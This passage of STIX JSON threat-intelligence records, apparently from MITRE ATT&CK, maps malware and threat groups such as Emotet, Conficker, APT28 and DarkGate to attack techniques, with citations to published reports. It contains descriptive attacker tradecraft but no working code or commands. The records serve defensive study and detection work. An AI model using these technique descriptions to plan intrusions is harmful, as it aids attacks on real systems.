2016.","url":"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}],"modified":"2020-03-20T02:16:02.231Z","description":"[Kasidet](https://attack.mitre.org/software/S0088) can execute commands using cmd.exe.(Citation: Zscaler Kasidet)","relationship_type":"uses","source_ref":"malware--26fed817-e7bf-41f9-829a-9075ffac45c2","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3062f5f2-8a0d-4a1b-ac64-aa6c3b06a1a5","type":"relationship","created":"2021-04-13T13:07:50.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T13:07:50.733Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) has the ability to modify file permissions.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--306ab1b7-4926-43ae-8989-b0dde2a43111","type":"relationship","created":"2021-09-23T12:33:47.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-23T12:33:47.122Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has attempted to run Darkside ransomware with the filename sleep.exe.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--306eba85-eeb9-4fcb-8b23-ce38b09bbf24","type":"relationship","created":"2021-03-17T15:54:31.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Debian nbtscan Nov 2019","url":"https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html","description":"Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."},{"source_name":"SecTools nbtscan June 2003","url":"https://sectools.org/tool/nbtscan/","description":"SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."}],"modified":"2021-03-17T15:54:31.029Z","description":"[NBTscan](https://attack.mitre.org/software/S0590) can dump and print whole packet content.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)\t","relationship_type":"uses","source_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3074f3bd-5a30-4ad2-9a2c-45b1573a454e","type":"relationship","created":"2021-02-23T20:50:33.352Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Conficker","url":"https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm","description":"Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."},{"source_name":"Trend Micro Conficker","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/conficker","description":"Trend Micro. (2014, March 18). Conficker. Retrieved February 18, 2021."}],"modified":"2021-10-14T16:53:14.446Z","description":"[Conficker](https://attack.mitre.org/software/S0608) uses the current UTC victim system date for domain generation and connects to time servers to determine the current date.(Citation: SANS Conficker)(Citation: Trend Micro Conficker)","relationship_type":"uses","source_ref":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3076f49e-0db2-4652-a07d-653027aeef1e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-11T17:45:33.752Z","description":"[Remsec](https://attack.mitre.org/software/S0125) can obtain a process list from the victim.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3077e0e6-4540-4f0d-a2ec-c4db78a35a0e","created":"2022-08-08T19:59:41.091Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[POLONIUM](https://attack.mitre.org/groups/G1005) has exfiltrated stolen data to [POLONIUM](https://attack.mitre.org/groups/G1005)-owned OneDrive and Dropbox accounts.(Citation: Microsoft POLONIUM June 2022) ","modified":"2022-08-08T19:59:41.091Z","relationship_type":"uses","source_ref":"intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3078d200-79f5-41d1-a0db-afe1501d650a","type":"relationship","created":"2019-04-23T18:41:37.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.","url":"https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/","source_name":"CoinTicker 2019"}],"modified":"2019-04-29T21:19:34.971Z","description":"[CoinTicker](https://attack.mitre.org/software/S0369) downloads the following hidden files to evade detection and maintain persistence: /private/tmp/.info.enc, /private/tmp/.info.py, /private/tmp/.server.sh, ~/Library/LaunchAgents/.espl.plist, ~/Library/Containers/.[random string]/[random string].(Citation: CoinTicker 2019)","relationship_type":"uses","source_ref":"malware--d1531eaa-9e17-473e-a680-3298469662c3","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--307ae6b5-b4ea-4ef2-bc99-544dbb31cb45","created":"2024-02-08T01:14:39.989Z","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T01:14:39.989Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) will query running process information to determine subsequent program execution flow.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--307e732c-c407-4466-951b-38062bb5e32b","created":"2020-05-22T15:43:05.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.775Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used the post exploitation tool [CrackMapExec](https://attack.mitre.org/software/S0488) to enumerate network shares.(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--307f4aac-212f-4c81-9764-d0acf7ca0e55","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets","description":"Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.","source_name":"Symantec Thrip June 2018"}],"modified":"2019-03-25T17:06:37.201Z","description":"[Thrip](https://attack.mitre.org/groups/G0076) used PsExec to move laterally between computers on the victim’s network.(Citation: Symantec Thrip June 2018)","relationship_type":"uses","source_ref":"intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3086bfc5-96b1-4768-a243-a82da7155728","type":"relationship","created":"2021-07-20T02:48:25.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.952Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent [JavaScript](https://attack.mitre.org/techniques/T1059/007) scripts from executing potentially malicious downloaded content (Citation: win10_asr).","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3089fe6b-36d6-4890-b70b-1a76f55c84ff","type":"relationship","created":"2020-05-21T14:55:00.182Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.182Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has encrypted traffic with the C2 to prevent network detection.(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30930d8a-3c0d-41b2-a226-cccc56599bfd","type":"relationship","created":"2019-04-24T21:06:37.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Emotet Dec 2017","url":"https://support.malwarebytes.com/docs/DOC-2295","description":"Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019."}],"modified":"2020-03-16T18:39:02.603Z","description":"[Emotet](https://attack.mitre.org/software/S0367) can brute force a local admin password, then use it to facilitate lateral movement.(Citation: Malwarebytes Emotet Dec 2017)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3094a14f-ccd2-4ba4-a3f6-c6d2721f02db","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/","description":"Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.","source_name":"Überwachung APT28 Forfiles June 2015"},{"url":"https://www.justice.gov/file/1080281/download","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","source_name":"DOJ GRU Indictment Jul 2018"}],"modified":"2020-08-04T20:56:21.125Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used [Forfiles](https://attack.mitre.org/software/S0193) to locate PDF, Excel, and Word documents during collection. The group also searched a compromised DCCC computer for specific terms.(Citation: Überwachung APT28 Forfiles June 2015)(Citation: DOJ GRU Indictment Jul 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--309652a1-45a4-4479-9e84-dfab33d0a1f5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[DDKONG](https://attack.mitre.org/software/S0255) decodes an embedded configuration using XOR.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--309c4a23-21dd-41fa-9e0c-ce5c730455fe","created":"2024-02-12T21:20:57.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"},{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:32:05.643Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) queries system locale information during execution.(Citation: Ensilo Darkgate 2018) Later versions of [DarkGate](https://attack.mitre.org/software/S1111) query GetSystemDefaultLCID for locale information to determine if the malware is executing in Russian-speaking countries.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--30a29f1a-41ec-4cf2-8d47-07c03c2d96e0","created":"2023-08-24T17:23:37.162Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-24T17:23:37.162Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--4a2975db-414e-4c0c-bd92-775987514b4b","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30a465fc-955e-4688-9349-daf17a287c47","type":"relationship","created":"2021-03-01T21:23:22.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-01T21:23:22.826Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has been distributed via spearphishing link.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--30a53a55-718d-4108-9063-45dc9bfacc93","created":"2023-08-02T18:19:13.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:12:30.986Z","description":"(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30ab931e-9cc1-4e95-a3f5-364be094b54e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT KEYMARBLE Aug 2018","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}],"modified":"2020-03-20T02:14:26.719Z","description":"[KEYMARBLE](https://attack.mitre.org/software/S0271) has a command to search for files on the victim’s machine.(Citation: US-CERT KEYMARBLE Aug 2018)","relationship_type":"uses","source_ref":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--30ac4618-8059-4e7a-869a-4c3cb84577a2","created":"2024-03-28T14:24:29.384Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:24:29.384Z","description":"In the [Triton Safety Instrumented System Attack](https://attack.mitre.org/campaigns/C0030), [TEMP.Veles](https://attack.mitre.org/groups/G0088) renamed files to look like legitimate files, such as Windows update files or Schneider Electric application files.","relationship_type":"uses","source_ref":"campaign--45a98f02-852f-49b2-94c0-c63207bebbbf","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30b4b9c6-1117-4242-80c4-fd7dc7016a08","type":"relationship","created":"2020-12-14T22:10:32.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-14T22:10:32.141Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has dropped RegAsm.exe onto systems for performing malicious activity.(Citation: SentinelLabs Agent Tesla Aug 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30b85048-ba1f-4b43-b9bc-69c27e426039","type":"relationship","created":"2019-01-29T19:18:28.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET","source_name":"TrendMicro DarkComet Sept 2014"},{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2019-06-04T19:40:43.607Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can access the victim’s webcam to take pictures.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30b93042-d56e-4ecf-82d8-8b287bd9c00c","type":"relationship","created":"2021-11-12T20:43:06.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-12T20:43:06.067Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used e-mail to deliver malicious attachments to victims.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30ba627f-f567-444c-9c48-39db264ca78b","type":"relationship","created":"2021-11-22T19:01:22.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-22T19:01:22.707Z","description":"(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--30bbf24a-ee93-46e1-be89-d948f3248c17","created":"2024-09-16T08:56:25.337Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:56:25.337Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can perform keylogging operations.(Citation: Google Cloud APT41 